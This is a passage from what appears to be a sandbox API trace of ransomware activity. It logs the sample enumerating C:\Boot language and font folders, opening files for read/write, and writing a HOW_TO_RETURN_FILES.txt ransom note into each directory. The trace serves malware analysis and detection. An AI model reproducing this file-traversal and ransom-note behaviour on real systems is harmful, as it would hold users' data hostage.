lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.477] CreateFileA (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.477] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 0 [0076.477] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.477] AreFileApisANSI () returned 1 [0076.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.478] CreateFileW (lpFileName="C:\\Boot\\de-DE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\de-de\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.478] GetFileType (hFile=0x124) returned 0x1 [0076.479] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.479] AreFileApisANSI () returned 1 [0076.479] GetACP () returned 0x4e4 [0076.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="el-GR", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="el-GR", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.479] AreFileApisANSI () returned 1 [0076.479] GetACP () returned 0x4e4 [0076.479] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\el-GR\\䔠i7ൿł\x04") returned 14 [0076.479] AreFileApisANSI () returned 1 [0076.479] GetACP () returned 0x4e4 [0076.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.479] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.479] AreFileApisANSI () returned 1 [0076.479] GetACP () returned 0x4e4 [0076.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.479] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.479] AreFileApisANSI () returned 1 [0076.479] GetACP () returned 0x4e4 [0076.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.479] CreateFileA (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.480] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 0 [0076.480] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.480] AreFileApisANSI () returned 1 [0076.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.480] CreateFileW (lpFileName="C:\\Boot\\el-GR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\el-gr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.481] GetFileType (hFile=0x124) returned 0x1 [0076.482] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.482] AreFileApisANSI () returned 1 [0076.482] GetACP () returned 0x4e4 [0076.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.482] AreFileApisANSI () returned 1 [0076.482] GetACP () returned 0x4e4 [0076.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\en-US\\䔠i7ൿł\x04") returned 14 [0076.482] AreFileApisANSI () returned 1 [0076.482] GetACP () returned 0x4e4 [0076.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.482] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.482] AreFileApisANSI () returned 1 [0076.482] GetACP () returned 0x4e4 [0076.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.482] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.482] AreFileApisANSI () returned 1 [0076.482] GetACP () returned 0x4e4 [0076.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.482] CreateFileA (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.482] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.482] AreFileApisANSI () returned 1 [0076.482] GetACP () returned 0x4e4 [0076.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="memtest.exe.mui", lpUsedDefaultChar=0x37e064) returned 15 [0076.483] CreateFileA (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.483] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 0 [0076.483] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.483] AreFileApisANSI () returned 1 [0076.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.483] CreateFileW (lpFileName="C:\\Boot\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.484] GetFileType (hFile=0x124) returned 0x1 [0076.485] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.485] AreFileApisANSI () returned 1 [0076.485] GetACP () returned 0x4e4 [0076.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="es-ES", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="es-ES", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.485] AreFileApisANSI () returned 1 [0076.485] GetACP () returned 0x4e4 [0076.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\es-ES\\䔠i7ൿł\x04") returned 14 [0076.486] AreFileApisANSI () returned 1 [0076.486] GetACP () returned 0x4e4 [0076.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.486] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.486] AreFileApisANSI () returned 1 [0076.486] GetACP () returned 0x4e4 [0076.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.486] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.486] AreFileApisANSI () returned 1 [0076.486] GetACP () returned 0x4e4 [0076.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.486] CreateFileA (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.487] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 0 [0076.487] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.487] AreFileApisANSI () returned 1 [0076.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.487] CreateFileW (lpFileName="C:\\Boot\\es-ES\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\es-es\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.487] GetFileType (hFile=0x124) returned 0x1 [0076.488] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.488] AreFileApisANSI () returned 1 [0076.488] GetACP () returned 0x4e4 [0076.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="fi-FI", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="fi-FI", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.488] AreFileApisANSI () returned 1 [0076.488] GetACP () returned 0x4e4 [0076.488] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\fi-FI\\䔠i7ൿł\x04") returned 14 [0076.488] AreFileApisANSI () returned 1 [0076.488] GetACP () returned 0x4e4 [0076.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.488] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.488] AreFileApisANSI () returned 1 [0076.488] GetACP () returned 0x4e4 [0076.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.489] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.489] AreFileApisANSI () returned 1 [0076.489] GetACP () returned 0x4e4 [0076.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.489] CreateFileA (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.489] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 0 [0076.489] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.489] AreFileApisANSI () returned 1 [0076.489] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.489] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\fi-fi\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.489] GetFileType (hFile=0x124) returned 0x1 [0076.490] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.490] AreFileApisANSI () returned 1 [0076.490] GetACP () returned 0x4e4 [0076.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fonts", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="Fonts", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.490] AreFileApisANSI () returned 1 [0076.490] GetACP () returned 0x4e4 [0076.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\Fonts\\䔠i7ൿł\x04") returned 14 [0076.493] AreFileApisANSI () returned 1 [0076.493] GetACP () returned 0x4e4 [0076.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.493] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.493] AreFileApisANSI () returned 1 [0076.493] GetACP () returned 0x4e4 [0076.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.493] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.493] AreFileApisANSI () returned 1 [0076.493] GetACP () returned 0x4e4 [0076.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="chs_boot.ttf", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="chs_boot.ttffTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 12 [0076.493] CreateFileA (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.493] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.493] AreFileApisANSI () returned 1 [0076.493] GetACP () returned 0x4e4 [0076.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cht_boot.ttf", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="cht_boot.ttf", lpUsedDefaultChar=0x37e064) returned 12 [0076.493] CreateFileA (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.494] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.494] AreFileApisANSI () returned 1 [0076.494] GetACP () returned 0x4e4 [0076.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="jpn_boot.ttf", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="jpn_boot.ttf", lpUsedDefaultChar=0x37e064) returned 12 [0076.494] CreateFileA (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.494] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.494] AreFileApisANSI () returned 1 [0076.494] GetACP () returned 0x4e4 [0076.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="kor_boot.ttf", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="kor_boot.ttf", lpUsedDefaultChar=0x37e064) returned 12 [0076.494] CreateFileA (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.494] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.494] AreFileApisANSI () returned 1 [0076.494] GetACP () returned 0x4e4 [0076.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="wgl4_boot.ttf", cchWideChar=13, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="wgl4_boot.ttfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 13 [0076.495] CreateFileA (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.495] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 0 [0076.495] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.495] AreFileApisANSI () returned 1 [0076.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.495] CreateFileW (lpFileName="C:\\Boot\\Fonts\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\fonts\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.497] GetFileType (hFile=0x124) returned 0x1 [0076.498] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.498] AreFileApisANSI () returned 1 [0076.498] GetACP () returned 0x4e4 [0076.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="fr-FR", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="fr-FR", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.498] AreFileApisANSI () returned 1 [0076.498] GetACP () returned 0x4e4 [0076.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\fr-FR\\䔠i7ൿł\x04") returned 14 [0076.499] AreFileApisANSI () returned 1 [0076.499] GetACP () returned 0x4e4 [0076.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.500] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.500] AreFileApisANSI () returned 1 [0076.500] GetACP () returned 0x4e4 [0076.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.500] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0076.500] AreFileApisANSI () returned 1 [0076.500] GetACP () returned 0x4e4 [0076.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.500] CreateFileA (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 